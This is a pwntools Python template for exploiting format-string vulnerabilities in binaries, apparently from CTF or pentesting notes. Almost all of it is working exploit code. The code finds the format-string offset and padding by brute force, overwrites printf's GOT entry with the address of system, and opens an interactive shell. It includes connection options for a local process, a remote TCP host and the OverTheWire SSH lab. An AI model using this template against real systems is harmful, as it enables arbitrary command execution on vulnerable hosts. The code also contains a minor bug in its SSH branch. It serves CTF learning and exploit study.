# Format String Template ```python from pwn import * from time import sleep #################### #### CONNECTION #### #################### # Define how you want to exploit the binary LOCAL = True REMOTETTCP = False REMOTESSH = False GDB = False # Configure vulnerable binary LOCAL_BIN = "./tyler" REMOTE_BIN = "./tyler" #For ssh # In order to exploit the format string you may need to append/prepend some string to the payload # configure them here PREFIX_PAYLOAD = b"echo " SUFFIX_PAYLOAD = b"" def connect_binary(): global P, ELF_LOADED, ROP_LOADED if LOCAL: P = process(LOCAL_BIN) # start the vuln binary ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets elif REMOTETTCP: P = remote('10.10.10.10',1338) # start the vuln binary ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets elif REMOTESSH: ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) P = ssh_shell.process(REMOTE_BIN) # start the vuln binary ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary ROP_LOADED = ROP(elf)# Find ROP gadgets if GDB and not REMOTETTCP and not REMOTESSH: # attach gdb and continue # You can set breakpoints, for example "break *main" gdb.attach(P.pid, "b *main") ######################################## #### Get format string configuration ### ######################################## def send_payload(payload): payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD log.info("payload = %s" % repr(payload)) P.sendline(payload) sleep(0.5) return P.recv() def get_formatstring_config(): global P for offset in range(1,1000): connect_binary() P.clean() payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" recieved = send_payload(payload).strip() if b"41" in recieved: for padlen in range(0,4): if b"41414141" in recieved: payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" recieved = send_payload(payload).strip() print(recieved) if b"42424242" in recieved: log.info(f"Found offset ({offset}) and padlen ({padlen})") return offset, padlen else: payload = b" " + payload recieved = send_payload(payload).strip() # In order to exploit a format string you need to find a position where part of your payload # is being reflected. Then, you will be able to put in the position arbitrary addresses # and write arbitrary content in those addresses # Therefore, the function get_formatstring_config will find the offset and padd needed to exploit the format string offset, padlen = get_formatstring_config() # In this template, the GOT of printf (the part of the GOT table that points to where the printf # function resides) is going to be modified by the address of the system inside the PLT (the # part of the code that will jump to the system function). # Therefore, next time the printf function is executed, system will be executed instead with the same # parameters passed to printf SYSTEM_PLT = ELF_LOADED.plt["system"] P_GOT = ELF_LOADED.got["printf"] log.info(f"System PLT address: {hex(SYSTEM_PLT)}") log.info(f"Printf GOT address: {hex(P_GOT)}") format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen) format_string.write(P_GOT, SYSTEM_PLT) format_string.execute_writes() # Now that printf function is executing system you just need to find a place where you can # control the parameters passed to printf to execute arbitrary code. P.interactive() ```